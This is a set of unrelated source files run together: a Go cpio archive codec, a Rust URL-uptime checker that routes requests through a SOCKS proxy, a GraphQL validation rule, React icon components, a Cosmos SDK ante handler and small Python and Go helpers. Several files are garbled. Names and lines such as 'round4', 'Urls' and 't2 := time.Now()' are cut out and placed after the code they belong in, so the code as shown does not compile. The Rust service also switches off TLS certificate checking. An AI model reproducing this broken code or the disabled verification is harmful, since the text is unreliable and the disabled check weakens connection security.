(n int64) int64 { return (n + 3) &^ 0x3 } type writer struct { n newc w io.Writer pos int64 } // Writer implements RecordFormat.Writer. func (n newc) Writer(w io.Writer) RecordWriter { return NewDedupWriter(&writer{n: n, w: w}) } func (w *writer) Write(b []byte) (int, error) { n, err := w.w.Write(b) if err != nil { return 0, err } w.pos += int64(n) return n, nil } func (w *writer) pad() error { if o := round4(w.pos); o != w.pos { var pad [3]byte if _, err := w.Write(pad[:o-w.pos]); err != nil { return err } } return nil } // WriteRecord writes newc cpio records. It pads the header+name write to 4 // byte alignment and pads the data write as well. func (w *writer) WriteRecord(f Record) error { // Write magic. if _, err := w.Write([]byte(w.n.magic)); err != nil { return err } buf := &bytes.Buffer{} hdr := headerFromInfo(f.Info) if f.ReaderAt == nil { hdr.FileSize = 0 } hdr.CRC = 0 if err := binary.Write(buf, binary.BigEndian, hdr); err != nil { return err } hexBuf := make([]byte, hex.EncodedLen(buf.Len())) n := hex.Encode(hexBuf, buf.Bytes()) // It's much easier to debug if we match GNU output format. hexBuf = bytes.ToUpper(hexBuf) // Write header. if _, err := w.Write(hexBuf[:n]); err != nil { return err } // Append NULL char. cstr := append([]byte(f.Info.Name), 0) // Write name. if _, err := w.Write(cstr); err != nil { return err } // Pad to a multiple of 4. if err := w.pad(); err != nil { return err } // Some files do not have any content. if f.ReaderAt == nil { return nil } // Write file contents. m, err := io.Copy(w, uio.Reader(f)) if err != nil { return err } if m != int64(f.Info.FileSize) { return fmt.Errorf("WriteRecord: %s: wrote %d bytes of file instead of %d bytes; archive is now corrupt", f.Info.Name, m, f.Info.FileSize) } if c, ok := f.ReaderAt.(io.Closer); ok { if err := c.Close(); err != nil { return err } } if m > 0 { return w.pad() } return nil } type reader struct { n newc r io.ReaderAt pos int64 } // discarder is used to implement ReadAt from a Reader // by reading, and discarding, data until the offset // is reached. It can only go forward. It is designed // for pipe-like files. type discarder struct { r io.Reader pos int64 } // ReadAt implements ReadAt for a discarder. // It is an error for the offset to be negative. func (r *discarder) ReadAt(p []byte, off int64) (int, error) { if off-r.pos < 0 { return 0, fmt.Errorf("negative seek on discarder not allowed") } if off != r.pos { i, err := io.Copy(io.Discard, io.LimitReader(r.r, off-r.pos)) if err != nil || i != off-r.pos { return 0, err } r.pos += i } n, err := io.ReadFull(r.r, p) if err != nil { return n, err } r.pos += int64(n) return n, err } var _ io.ReaderAt = &discarder{} // Reader implements RecordFormat.Reader. func (n newc) Reader(r io.ReaderAt) RecordReader { return EOFReader{&reader{n: n, r: r}} } // NewFileReader implements RecordFormat.Reader. If the file // implements ReadAt, then it is used for greater efficiency. // If it only implements Read, then a discarder will be used // instead. // Note a complication: // r, _, _ := os.Pipe() // var b [2]byte // _, err := r.ReadAt(b[:], 0) // fmt.Printf("%v", err) // Pipes claim to implement ReadAt; most Unix kernels // do not agree. Even a seek to the current position fails. // This means that // if rat, ok := r.(io.ReaderAt); ok { // would seem to work, but would fail when the // actual ReadAt on the pipe occurs, even for offset 0, // which does not require a seek! The kernel checks for // whether the fd is seekable and returns an error, // even for values of offset which won't require a seek. // So, the code makes a simple test: can we seek to // current offset? If not, then the file is wrapped with a // discardreader. The discard reader is far less efficient // but allows cpio to read from a pipe. func (n newc) NewFileReader(f *os.File) (RecordReader, error) { _, err := f.Seek(0, 0) if err == nil { return EOFReader{&reader{n: n, r: f}}, nil } return EOFReader{&reader{n: n, r: &discarder{r: f}}}, nil } func (r *reader) read(p []byte) error { n, err := r.r.ReadAt(p, r.pos) if err == io.EOF { return io.EOF } if err != nil || n != len(p) { return fmt.Errorf("ReadAt(pos = %d): got %d, want %d bytes; error %v", r.pos, n, len(p), err) } r.pos += int64(n) return nil } func (r *reader) readAligned(p []byte) error { err := r.read(p) r.pos = round4(r.pos) return err } // ReadRecord implements RecordReader for the newc cpio format. func (r *reader) ReadRecord() (Record, error) { hdr := header{} recPos := r.pos buf := make([]byte, hex.EncodedLen(binary.Size(hdr))+magicLen) if err := r.read(buf); err != nil { return Record{}, err } // Check the magic. if magic := string(buf[:magicLen]); magic != r.n.magic { return Record{}, fmt.Errorf("reader: magic got %q, want %q", magic, r.n.magic) } // Decode hex header fields. dst := make([]byte, binary.Size(hdr)) if _, err := hex.Decode(dst, buf[magicLen:]); err != nil { return Record{}, fmt.Errorf("reader: error decoding hex: %v", err) } if err := binary.Read(bytes.NewReader(dst), binary.BigEndian, &hdr); err != nil { return Record{}, err } Debug("Decoded header is %v\n", hdr) // Get the name. nameBuf := make([]byte, hdr.NameLength) if err := r.readAligned(nameBuf); err != nil { Debug("name read failed") return Record{}, err } info := hdr.Info() info.Name = string(nameBuf[:hdr.NameLength-1]) recLen := uint64(r.pos - recPos) filePos := r.pos content := io.NewSectionReader(r.r, r.pos, int64(hdr.FileSize)) r.pos = round4(r.pos + int64(hdr.FileSize)) return Record{ Info: info, ReaderAt: content, RecLen: recLen, RecPos: recPos, FilePos: filePos, }, nil } func init() { formatMap["newc"] = Newc }
round4
main.rs
extern crate redis; use std::{env, thread}; use std::collections::HashMap; use std::str::from_utf8; use std::time::{Duration, SystemTime, UNIX_EPOCH}; use actix_cors::Cors; use actix_socks::SocksConnector; use actix_web::{App, Error, get, http, HttpResponse, HttpServer, post, Responder, web}; use actix_web::client::{Client, Connector}; use log::{debug, info, trace}; use openssl::ssl::{SslConnector, SslMethod, SslVerifyMode}; use redis::Commands; use serde::Deserialize; #[derive(Deserialize)] struct Url { url: String, } #[derive(Deserialize)] struct
{ urls: Vec<String>, } // ------------------------------------------------------------------------------ // background tasks // ------------------------------------------------------------------------------ // returns a new connection to redis server fn get_redis_con() -> redis::Connection { let client = redis::Client::open("redis://127.0.0.1") .expect("Cannot connect to local redis server"); client.get_connection() .expect("Connection to redis server failed") } // fetches the current status of given url from the redis server fn get_status(url: &String) -> HashMap<String, String> { let mut con = get_redis_con(); let ex: bool = con.exists(format!("ping:{}", url)) .expect("Failed to determine existence of url"); if !ex { con.sadd::<&str, &String, bool>("urls", url) .expect("Failed to add url to redis urls list"); con.hset_multiple::<String, &str, &String, bool>(format!("ping:{}", url), &[ ("url", url), ("time", &"0".to_string()), ("status", &"unknown".to_string()) ]) .expect("Failed to create new redis entry for url"); } con.hgetall::<String, HashMap<String, String>>(format!("ping:{}", url)) .expect("Failed to get data from redis server") } // updates the status of given url in the redis server fn update_status(url: &String, status: &str) { let mut con = get_redis_con(); let time = get_epoch(); con.hset_multiple::<String, &str, &String, bool>(format!("ping:{}", url), &[ ("url", url), ("time", &time.as_secs().to_string()), ("status", &status.to_string()) ]) .expect("Failed to update redis entry for url"); } // returns the current UNIX_EPOCH as Duration fn get_epoch() -> Duration { SystemTime::now() .duration_since(UNIX_EPOCH) .expect("SystemTime before UNIX EPOCH!") } // pings given url and upon finish calls update_status with the result async fn ping_url(url: &String, timeout: u64, socks_ip: &'static str) { trace!("Pinging {} with timeout {}", url, timeout.to_string()); // required for handling https requests let mut builder = SslConnector::builder(SslMethod::tls()) .unwrap(); // disable cert verification, due to lack of local cert builder.set_verify(SslVerifyMode::NONE); let socks_user = env::var("SOCKS_USER").expect("env SOCKS_USER not found"); let socks_pass = env::var("SOCKS_PASS").expect("env SOCKS_PASS not found"); let client = Client::builder() .timeout(Duration::new(timeout, 0)) .connector(Connector::new().ssl(builder.build()).finish()) .connector( Connector::new().connector( SocksConnector( socks_ip, socks_user.to_string(), socks_pass.to_string()) ) .finish() ) .header("DNT", "1") .header("Referer", "https://piracy.moe/") .header("Pragma", "no-cache") .header("Cache-Control", "no-cache") .header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8") .header("Accept-Language", "de,en-US;q=0.7,en;q=0.3") .header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0"); let response = client.finish().get(url).send().await; match response { Ok(mut res) => { debug!("Ping request of {} succeeded with {:?}", url, res); let status = &res.status().as_u16(); let safe: &[u16] = &[200, 300, 301, 302, 307, 308]; if safe.contains(status) { return update_status(url, "up"); } let body = res.body().await; match body { Ok(b) => { debug!("{} has body {:?}", url, std::str::from_utf8(b.as_ref()).unwrap()); } Err(e) => { debug!("{} failed to parse body {:?}", url, e); } } // separate block for immutable borrow of response { let headers = res.headers(); debug!("{} has headers {:?}", url, headers); if headers.contains_key("Server") { let server = headers.get("Server") .expect("Failed to parse Server response header") .to_str().unwrap(); debug!("Server of {} is {}", url, server); let unknown: &[u16] = &[401, 403, 503, 520]; let forbidden: &u16 = &403; if unknown.contains(status) && server.eq("cloudflare") || status.eq(forbidden) && server.eq("ddos-guard") { info!("Unknown HTTP status of {}: {}", url, status); return update_status(url, "unknown"); } } } info!("{} is down: HTTP status {}", url, status); update_status(url, "down"); } Err(e) => { // TODO: implement error catching, see: // https://docs.rs/actix-web/3.3.2/actix_web/client/enum.SendRequestError.html info!("Unexpected error occurred during ping of {}: {:?}", url, e); update_status(url, "down"); } } } // background task, which checks when to update known entries of the redis server async fn background_scan(interval: u64, timeout: u64, socks_ip: &'static str) { debug!("Running background task"); let mut con = get_redis_con(); let mut urls = con.smembers::<&str, Vec<String>>("urls") .expect("Failed to retrieve urls from redis urls list"); urls.retain(|url| { let t = con.hget::<String, &str, String>(format!("ping:{}", url), "time") .expect("Failed to retrieve urls from redis urls list") .parse::<u64>() .expect("Failed to convert string to u64"); get_epoch().as_secs() - t > interval }); info!("Found {} urls to be pinged", urls.len()); if urls.len() > 0 { let p = urls.iter().map(|url| ping_url(url, timeout, socks_ip)); for f in p { f.await; } } } // ------------------------------------------------------------------------------ // web service // ------------------------------------------------------------------------------ #[get("/")] async fn index() -> impl Responder { let url = env::var("CORS").expect("env CORS not found"); debug!("Redirect to {}", url); HttpResponse::Found() .header("Location", url) .finish() } #[get("/health")] async fn health() -> impl Responder { debug!("alive"); HttpResponse::Ok().header("Content-Type", "text/html; charset=UTF-8").body("OK") } #[post("/ping")] async fn ping(url: web::Json<Url>) -> Result<HttpResponse, Error> { debug!("Request ping of {}", url.url); Ok(HttpResponse::Ok().json(get_status(&url.url))) } #[post("/pings")] async fn pings(urls: web::Json<Urls>) -> Result<HttpResponse, Error> { debug!("Request pings"); let mut status: Vec<HashMap<String, String>> = Vec::new(); for url in urls.urls.iter() { status.push(get_status(url)); } Ok(HttpResponse::Ok().json(status)) } #[actix_web::main] async fn main() { env_logger::init_from_env(env_logger::Env::new().default_filter_or("info")); info!("Starting webservice"); HttpServer::new(|| { let cors = Cors::default() .allowed_origin_fn(|origin, _| { let u = env::var("CORS") .expect("env CORS not found"); let cors_regex = regex::Regex::new(&*u).unwrap(); match from_utf8(origin.as_bytes()) { Ok(origin_utf8) => cors_regex.is_match(origin_utf8), Err(_) => { debug!("Could not decode origin string {:?}", origin); false } } }) .allowed_methods(vec!["GET", "POST"]) .allowed_header(http::header::CONTENT_TYPE) .max_age(3600); App::new() .wrap(cors) .service(index) .service(health) .service(ping) .service(pings) }) .bind("0.0.0.0:5000") .expect("Failed to launch web service") .run(); let _socks_ip = env::var("SOCKS_IP").expect("env SOCKS_IP not found"); let socks_ip: &'static str = Box::leak(_socks_ip.into_boxed_str()); info!("Starting pingapi"); let interval = env::var("INTERVAL") .expect("env INTERVAL not found") .parse::<u64>() .expect("Failed to convert INTERVAL to u64"); let timeout = env::var("TIMEOUT") .expect("env TIMEOUT not found") .parse::<u64>() .expect("Failed to convert TIMEOUT to u64"); loop { background_scan(interval, timeout, socks_ip).await; thread::sleep(Duration::from_secs(timeout * 2)); } }
Urls
unique_operation_types.py
from typing import Dict, Optional, Union from ...error import GraphQLError from ...language import ( OperationTypeDefinitionNode, OperationType, SchemaDefinitionNode, SchemaExtensionNode, ) from ...type import GraphQLObjectType from . import SDLValidationContext, SDLValidationRule __all__ = ["UniqueOperationTypesRule"] class UniqueOperationTypesRule(SDLValidationRule):
"""Unique operation types A GraphQL document is only valid if it has only one type per operation. """ def __init__(self, context: SDLValidationContext): super().__init__(context) schema = context.schema self.defined_operation_types: Dict[ OperationType, OperationTypeDefinitionNode ] = {} self.existing_operation_types: Dict[ OperationType, Optional[GraphQLObjectType] ] = ( { OperationType.QUERY: schema.query_type, OperationType.MUTATION: schema.mutation_type, OperationType.SUBSCRIPTION: schema.subscription_type, } if schema else {} ) self.schema = schema def check_operation_types( self, node: Union[SchemaDefinitionNode, SchemaExtensionNode], *_args ): for operation_type in node.operation_types or []: operation = operation_type.operation already_defined_operation_type = self.defined_operation_types.get(operation) if self.existing_operation_types.get(operation): self.report_error( GraphQLError( f"Type for {operation.value} already defined in the schema." " It cannot be redefined.", operation_type, ) ) elif already_defined_operation_type: self.report_error( GraphQLError( f"There can be only one {operation.value} type in schema.", [already_defined_operation_type, operation_type], ) ) else: self.defined_operation_types[operation] = operation_type return self.SKIP enter_schema_definition = enter_schema_extension = check_operation_types
PlatformDos.js
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _react = require('react'); var _react2 = _interopRequireDefault(_react); var _propTypes = require('prop-types'); var _propTypes2 = _interopRequireDefault(_propTypes); var _classnames2 = require('classnames'); var _classnames3 = _interopRequireDefault(_classnames2); var _CSSClassnames = require('../../../utils/CSSClassnames'); var _CSSClassnames2 = _interopRequireDefault(_CSSClassnames); var _Intl = require('../../../utils/Intl'); var _Intl2 = _interopRequireDefault(_Intl); var _Props = require('../../../utils/Props'); var _Props2 = _interopRequireDefault(_Props); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } // (C) Copyright 2014-2015 Hewlett Packard Enterprise Development LP var CLASS_ROOT = _CSSClassnames2.default.CONTROL_ICON; var COLOR_INDEX = _CSSClassnames2.default.COLOR_INDEX; var Icon = function (_Component) { _inherits(Icon, _Component); function Icon() { _classCallCheck(this, Icon); return _possibleConstructorReturn(this, (Icon.__proto__ || Object.getPrototypeOf(Icon)).apply(this, arguments)); } _createClass(Icon, [{ key: 'render', value: function render() { var _classnames; var _props = this.props, className = _props.className, colorIndex = _props.colorIndex; var _props2 = this.props, a11yTitle = _props2.a11yTitle,
responsive = _props2.responsive; var intl = this.context.intl; var classes = (0, _classnames3.default)(CLASS_ROOT, CLASS_ROOT + '-platform-dos', className, (_classnames = {}, _defineProperty(_classnames, CLASS_ROOT + '--' + size, size), _defineProperty(_classnames, CLASS_ROOT + '--responsive', responsive), _defineProperty(_classnames, COLOR_INDEX + '-' + colorIndex, colorIndex), _classnames)); a11yTitle = a11yTitle || _Intl2.default.getMessage(intl, 'platform-dos'); var restProps = _Props2.default.omit(this.props, Object.keys(Icon.propTypes)); return _react2.default.createElement( 'svg', _extends({}, restProps, { version: '1.1', viewBox: '0 0 24 24', width: '24px', height: '24px', role: 'img', className: classes, 'aria-label': a11yTitle }), _react2.default.createElement('path', { fillRule: 'evenodd', d: 'M0,4.54603675 L4.93388435,4.42224753 C5.89173496,4.40127916 6.77758573,4.50447894 7.67366806,4.81357302 L7.67366806,4.98877266 C6.90124863,5.64776074 6.34520769,6.43066436 5.84032455,7.30628357 L2.84298349,7.32712563 L2.8634466,15.8248762 L4.63514814,15.9481601 L6.44802853,15.9275707 C7.52954204,15.9169602 8.52857152,14.1868164 8.62153974,13.2494289 L8.88907602,10.2935194 C9.00263368,8.99562738 9.75446367,7.9965979 10.9183349,7.46076745 C11.6497018,8.68653329 11.9689011,10.0461936 11.9689011,11.4778537 C11.9689011,15.9794864 9.17795963,18.8219646 4.77927415,18.6572491 L0,18.4719443 L0,4.54603675 Z M20.7035438,8.71765744 C20.4667022,7.34751295 19.3235467,6.66780912 17.9531496,6.66780912 C17.0163936,6.66780912 15.4814074,7.0793451 15.4301233,8.25382683 C15.4193865,8.31584776 15.4301233,8.36700554 15.4505864,8.41904754 L16.0066274,10.0154231 C16.1200587,10.344854 16.1406481,10.7052322 16.1406481,11.0556315 C16.1406481,11.4570622 16.0891114,11.8588719 16.0378273,12.2606816 C14.0602315,11.7045143 12.6693712,10.74679 12.6693712,8.52174206 C12.6693712,5.52427469 15.0900819,4.12305658 17.8504551,4.12305658 C20.9199223,4.12305658 23.3199172,5.55547462 23.5158326,8.71765744 L20.7035438,8.71765744 Z M12.4634769,14.0839198 L15.2136185,14.1046356 C15.5019968,15.8658529 16.6658681,16.3501466 18.3963907,16.3501466 C19.4779043,16.3501466 21.0949956,16.0927156 21.0949956,14.7123396 C21.0949956,13.9913305 20.5284705,13.6202155 19.9517138,13.3011425 L20.0957135,10.5511273 C22.2896878,11.1480944 24,11.9723032 24,14.5472452 C24,17.5965019 21.0949956,18.8839097 18.4169802,18.8839097 C16.5012789,18.8839097 14.0189263,18.3276162 12.9989284,16.5149884 C12.6797291,15.9585685 12.3812455,15.2376858 12.3812455,14.5886767 C12.3812455,14.5372662 12.3912244,14.4857295 12.4017086,14.4343191 L12.4634769,14.0839198 Z M19.7047038,11.4570369 C19.7047038,13.033202 19.282431,14.506041 18.561422,15.8864171 C18.3757382,15.8965223 18.1904333,15.9169854 18.0050021,15.9169854 C17.4075297,15.9169854 15.9552801,15.515681 15.9552801,14.7844405 C15.9552801,14.6610302 15.9757432,14.537241 16.0170484,14.4236833 L16.5627314,12.600824 C16.6762891,12.2401932 16.6351102,11.8074362 16.6351102,11.4471843 C16.6351102,10.0357347 15.996459,9.15001021 15.9447959,8.18180172 C15.9141012,7.50235052 17.2016354,7.18251962 17.6549818,7.18251962 C17.9639495,7.18251962 18.2726647,7.18251962 18.5816325,7.2133406 C19.3234835,8.52184311 19.7047038,9.9432717 19.7047038,11.4570369 Z M10.6096071,17.0296989 L11.2583637,16.1030482 L12.3397509,16.1232587 C12.8549919,17.2460774 13.6995375,18.0083916 14.7295143,18.6676323 C13.9775579,18.9149581 13.2359595,19.0383683 12.4530559,19.0383683 C11.3097741,19.0383683 10.2383658,18.780811 9.17769436,18.3791276 L10.6096071,17.0296989 Z M12.5356662,6.70871009 C12.3705719,6.69847853 12.2058564,6.68837329 12.0412673,6.68837329 C10.3003867,6.68837329 8.71411639,8.21249639 8.50822209,9.92242964 L8.05487567,13.640906 C7.99310738,14.1663786 7.53976097,14.7018301 7.19971958,15.0830504 C6.91159387,15.3917655 6.5716788,15.4536601 6.14927969,15.4536601 L6.09774295,15.4536601 C5.56216513,14.2179153 5.28401835,12.9406128 5.28401835,11.591184 C5.28401835,7.35784556 7.65306599,4 12.0617304,4 C12.9269917,4 13.7508216,4.16471544 14.5644199,4.39132549 C13.6995375,5.02985046 13.019581,5.74075423 12.5356662,6.70871009 Z' }) ); } }]); return Icon; }(_react.Component); Icon.displayName = 'Icon'; exports.default = Icon; ; Icon.contextTypes = { intl: _propTypes2.default.object }; Icon.defaultProps = { responsive: true }; Icon.displayName = 'PlatformDos'; Icon.icon = true; Icon.propTypes = { a11yTitle: _propTypes2.default.string, colorIndex: _propTypes2.default.string, size: _propTypes2.default.oneOf(['xsmall', 'small', 'medium', 'large', 'xlarge', 'huge']), responsive: _propTypes2.default.bool }; module.exports = exports['default'];
size = _props2.size,
text_classification_annotation.py
# coding=utf-8 # Copyright 2021-present, the Recognai S.L. team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from typing import Any, Dict, List, Type, TypeVar import attr from ..models.class_prediction import ClassPrediction T = TypeVar("T", bound="TextClassificationAnnotation") @attr.s(auto_attribs=True) class TextClassificationAnnotation: """Annotation class for text classification tasks Attributes: ----------- labels: List[LabelPrediction] list of annotated labels with score""" agent: str labels: List[ClassPrediction] additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict) def to_dict(self) -> Dict[str, Any]: agent = self.agent labels = [] for labels_item_data in self.labels: labels_item = labels_item_data.to_dict() labels.append(labels_item) field_dict: Dict[str, Any] = {} field_dict.update(self.additional_properties) field_dict.update( { "agent": agent, "labels": labels, } ) return field_dict @classmethod def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T: d = src_dict.copy() agent = d.pop("agent") labels = [] _labels = d.pop("labels") for labels_item_data in _labels: labels_item = ClassPrediction.from_dict(labels_item_data) labels.append(labels_item) text_classification_annotation = cls( agent=agent, labels=labels, )
@property def additional_keys(self) -> List[str]: return list(self.additional_properties.keys()) def __getitem__(self, key: str) -> Any: return self.additional_properties[key] def __setitem__(self, key: str, value: Any) -> None: self.additional_properties[key] = value def __delitem__(self, key: str) -> None: del self.additional_properties[key] def __contains__(self, key: str) -> bool: return key in self.additional_properties
text_classification_annotation.additional_properties = d return text_classification_annotation
FileProtection.tsx
/**
* @author Auto Generated by IconPark */ /* tslint:disable: max-line-length */ /* eslint-disable max-len */ import React from 'react'; import {ISvgIconProps, IconWrapper} from '../runtime'; export default IconWrapper( 'file-protection', true, (props: ISvgIconProps) => ( <svg width={props.size} height={props.size} viewBox="0 0 48 48" fill="none" > <path d="M10 44H38C39.1046 44 40 43.1046 40 42V14H30V4H10C8.89543 4 8 4.89543 8 6V42C8 43.1046 8.89543 44 10 44Z" fill={props.colors[1]} stroke={props.colors[0]} strokeWidth={props.strokeWidth} strokeLinecap={props.strokeLinecap} strokeLinejoin={props.strokeLinejoin} /> <path d="M30 4L40 14" stroke={props.colors[0]} strokeWidth={props.strokeWidth} strokeLinecap={props.strokeLinecap} strokeLinejoin={props.strokeLinejoin} /> <path d="M17 23.2C17 22.1333 24 20 24 20C24 20 31 22.1333 31 23.2C31 31.7333 24 36 24 36C24 36 17 31.7333 17 23.2Z" fill={props.colors[3]} stroke={props.colors[2]} strokeWidth={props.strokeWidth} strokeLinecap={props.strokeLinecap} strokeLinejoin={props.strokeLinejoin} /> </svg> ) );
* @file FileProtection 文件保护
basic.go
package ante import ( "github.com/tendermint/tendermint/crypto" "github.com/cosmos/cosmos-sdk/codec/legacy" "github.com/cosmos/cosmos-sdk/crypto/types/multisig" sdk "github.com/cosmos/cosmos-sdk/types" sdkerrors "github.com/cosmos/cosmos-sdk/types/errors" "github.com/cosmos/cosmos-sdk/x/auth/types" ) var ( _ sdk.TxWithMemo = (*types.StdTx)(nil) // assert StdTx implements TxWithMemo ) // ValidateBasicDecorator will call tx.ValidateBasic and return any non-nil error. // If ValidateBasic passes, decorator calls next AnteHandler in chain. Note, // ValidateBasicDecorator decorator will not get executed on ReCheckTx since it // is not dependent on application state.
} func (vbd ValidateBasicDecorator) AnteHandle(ctx sdk.Context, tx sdk.Tx, simulate bool, next sdk.AnteHandler) (sdk.Context, error) { // no need to validate basic on recheck tx, call next antehandler if ctx.IsReCheckTx() { return next(ctx, tx, simulate) } if err := tx.ValidateBasic(); err != nil { return ctx, err } return next(ctx, tx, simulate) } // ValidateMemoDecorator will validate memo given the parameters passed in // If memo is too large decorator returns with error, otherwise call next AnteHandler // CONTRACT: Tx must implement TxWithMemo interface type ValidateMemoDecorator struct { ak AccountKeeper } func NewValidateMemoDecorator(ak AccountKeeper) ValidateMemoDecorator { return ValidateMemoDecorator{ ak: ak, } } func (vmd ValidateMemoDecorator) AnteHandle(ctx sdk.Context, tx sdk.Tx, simulate bool, next sdk.AnteHandler) (sdk.Context, error) { memoTx, ok := tx.(sdk.TxWithMemo) if !ok { return ctx, sdkerrors.Wrap(sdkerrors.ErrTxDecode, "invalid transaction type") } params := vmd.ak.GetParams(ctx) memoLength := len(memoTx.GetMemo()) if uint64(memoLength) > params.MaxMemoCharacters { return ctx, sdkerrors.Wrapf(sdkerrors.ErrMemoTooLarge, "maximum number of characters is %d but received %d characters", params.MaxMemoCharacters, memoLength, ) } return next(ctx, tx, simulate) } // ConsumeTxSizeGasDecorator will take in parameters and consume gas proportional // to the size of tx before calling next AnteHandler. Note, the gas costs will be // slightly over estimated due to the fact that any given signing account may need // to be retrieved from state. // // CONTRACT: If simulate=true, then signatures must either be completely filled // in or empty. // CONTRACT: To use this decorator, signatures of transaction must be represented // as types.StdSignature otherwise simulate mode will incorrectly estimate gas cost. type ConsumeTxSizeGasDecorator struct { ak AccountKeeper } func NewConsumeGasForTxSizeDecorator(ak AccountKeeper) ConsumeTxSizeGasDecorator { return ConsumeTxSizeGasDecorator{ ak: ak, } } func (cgts ConsumeTxSizeGasDecorator) AnteHandle(ctx sdk.Context, tx sdk.Tx, simulate bool, next sdk.AnteHandler) (sdk.Context, error) { sigTx, ok := tx.(SigVerifiableTx) if !ok { return ctx, sdkerrors.Wrap(sdkerrors.ErrTxDecode, "invalid tx type") } params := cgts.ak.GetParams(ctx) ctx.GasMeter().ConsumeGas(params.TxSizeCostPerByte*sdk.Gas(len(ctx.TxBytes())), "txSize") // simulate gas cost for signatures in simulate mode if simulate { // in simulate mode, each element should be a nil signature sigs := sigTx.GetSignatures() for i, signer := range sigTx.GetSigners() { // if signature is already filled in, no need to simulate gas cost if sigs[i] != nil { continue } var pubkey crypto.PubKey acc := cgts.ak.GetAccount(ctx, signer) // use placeholder simSecp256k1Pubkey if sig is nil if acc == nil || acc.GetPubKey() == nil { pubkey = simSecp256k1Pubkey } else { pubkey = acc.GetPubKey() } // use stdsignature to mock the size of a full signature simSig := types.StdSignature{ //nolint:staticheck // this will be removed when proto is ready Signature: simSecp256k1Sig[:], PubKey: pubkey.Bytes(), } sigBz := legacy.Cdc.MustMarshalBinaryBare(simSig) cost := sdk.Gas(len(sigBz) + 6) // If the pubkey is a multi-signature pubkey, then we estimate for the maximum // number of signers. if _, ok := pubkey.(multisig.PubKeyMultisigThreshold); ok { cost *= params.TxSigLimit } ctx.GasMeter().ConsumeGas(params.TxSizeCostPerByte*cost, "txSize") } } return next(ctx, tx, simulate) }
type ValidateBasicDecorator struct{} func NewValidateBasicDecorator() ValidateBasicDecorator { return ValidateBasicDecorator{}
MovieInfo.js
// import PropTypes from 'prop-types'; import './MovieDetails.scss'; import placeholder from '../placeholder.png'; const MovieInfo = data => { const { genres, title, release_date, vote_average, overview, poster_path, name, } = data.data; const picture = poster_path ? `https://image.tmdb.org/t/p/w500/${poster_path}` : placeholder; const score = vote_average * 10; const date = release_date.slice(0, 4); const heading = title ?? name; return ( <article className="movie_description"> <img src={picture} alt={name} className="movie_poster" /> <div className="movie_info"> {heading && ( <h2> {heading} {date ? <span>({date})</span> : null} </h2> )} <p> <strong>User Score: </strong> {score ? <span>{score} %</span> : null} </p> <p> <strong>Overview: </strong> {overview ? <span>{overview}</span> : <span>Not available</span>} </p> <p> <strong>Genres: </strong> {genres ? genres.map(({ id, name }) => ( <li key={id} className="genres"> {' '} {name} </li> )) : null} </p> </div> </article> ); };
export default MovieInfo;
readwrite.go
package testutil import ( "bytes" "context" "io" "io/ioutil" "testing" "time" "github.com/bobg/bs" "github.com/bobg/bs/split" ) // ReadWrite permits testing a Store implementation // by split-writing some data to it, // then reading it back out to make sure it's the same. func ReadWrite(ctx context.Context, t *testing.T, store bs.Store, data []byte) { t1 := time.Now() w := split.NewWriter(ctx, store) _, err := io.Copy(w, bytes.NewReader(data)) if err != nil { t.Fatal(err) } err = w.Close() if err != nil { t.Fatal(err) } ref := w.Root t.Logf("wrote %d bytes in %s", len(data), time.Since(t1))
r, err := split.NewReader(ctx, store, ref) if err != nil { t.Fatal(err) } got, err := ioutil.ReadAll(r) if err != nil { t.Fatal(err) } t.Logf("read %d bytes in %s", len(got), time.Since(t2)) if len(got) != len(data) { t.Errorf("got length %d, want %d", len(got), len(data)) } else { for i := 0; i < len(got); i++ { if got[i] != data[i] { t.Fatalf("mismatch at position %d (of %d)", i, len(got)) } } } }
t2 := time.Now()
summarize_clstr_table.py
